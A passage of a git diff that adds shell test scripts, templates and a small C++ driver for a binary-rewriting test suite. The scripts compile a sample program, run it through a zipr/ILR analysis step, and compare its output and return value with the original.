+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="        -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="        -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e04a92ce7711c86068df50950f7d1a0251f0d337
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="        -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="        -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ab1b7a0ab2f07c4c85336077d8cd0d4d885e1755
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="          -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="          -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b465c4fe2d9a14c46780fcf12db35979a18d5739
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.no_optflag.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="          -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="          -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/template.foo.shtmpl b/peasoup_examples/tests/test_scripts/template.foo.shtmpl
new file mode 100755
index 0000000000000000000000000000000000000000..6defe7dcaddb8835ed462fa0e974b88a5f790302
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/template.foo.shtmpl
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=@BACKEND@
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="@COMPFLAGS@"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=@ARCH@
+# ATTRIBUTE TestName="ps_micro_test @BENCHNAME@"
+# ATTRIBUTE BenchmarkName=@BENCHNAME@
+
+BENCHNAME=@BENCHNAME@
+COMPFLAGS="@COMPFLAGS@"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.@BACKEND@
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend @BACKEND@ || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/template.sample.shtmpl b/peasoup_examples/tests/test_scripts/template.sample.shtmpl
new file mode 100755
index 0000000000000000000000000000000000000000..3d154f13e0343d576b07072876731f371e2699a0
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/template.sample.shtmpl
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=@BACKEND@
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="@COMPFLAGS@"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=@ARCH@
+# ATTRIBUTE TestName="ps_micro_test @BENCHNAME@"
+# ATTRIBUTE BenchmarkName=@BENCHNAME@
+
+BENCHNAME=@BENCHNAME@
+COMPFLAGS="@COMPFLAGS@"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.@BACKEND@
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend @BACKEND@ || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/test.cpp b/peasoup_examples/tests/test_scripts/test.cpp
new file mode 100644
index 0000000000000000000000000000000000000000..ffd0e6e23d1a57910efb16d12d93f46ee47c24d8
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/test.cpp
@@ -0,0 +1,27 @@
+#include <iostream>
+#include <string>
+
+using namespace std;
+
+extern int foo(int a);
+
+int main(int argc, char* argv[])
+{
+	// mark argv used to avoid warnings
+	(void)argv;
+
+
+	cout<<"going to foo"<<endl;
+	try 
+	{
+		foo(argc);
+	}
+	catch(string s)
+	{
+		cout<<"Caught foo exception:" << s <<endl;
+	}
+	cout<<"back from foo"<<endl;
+
+	return 0;
+}
+
diff --git a/peasoup_examples/tests/touch/test_script.sh b/peasoup_examples/tests/touch/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..091698b6ed81c3b845dc36105796795047ce0e5c
--- /dev/null
+++ b/peasoup_examples/tests/touch/test_script.sh
@@ -0,0 +1,24 @@
+#!/bin/bash
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+#used for filtering program names from output.
+ORIG_NAME=touch
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+# sanity check
+timeout 10 $BENCH --help | grep FILE
+if [ ! $? -eq 0 ];then
+	report_failure
+fi
+
+run_basic_test 20 --help
+run_basic_test 20 --version
+rm -f tmp
+run_basic_test 20 "tmp"
+rm -f tmp
+#no arg test
+run_basic_test 10
+
+report_success
diff --git a/peasoup_examples/tests/w3c/data/bogus.conf b/peasoup_examples/tests/w3c/data/bogus.conf
new file mode 100644
index 0000000000000000000000000000000000000000..178c2fc177a3b90cbce9fb67caadf6ab572da1c4
--- /dev/null
+++ b/peasoup_examples/tests/w3c/data/bogus.conf
@@ -0,0 +1,4 @@
+http://127.0.0.1 bogus1
+localhost bogus2
+
+# this is a completely bogus file
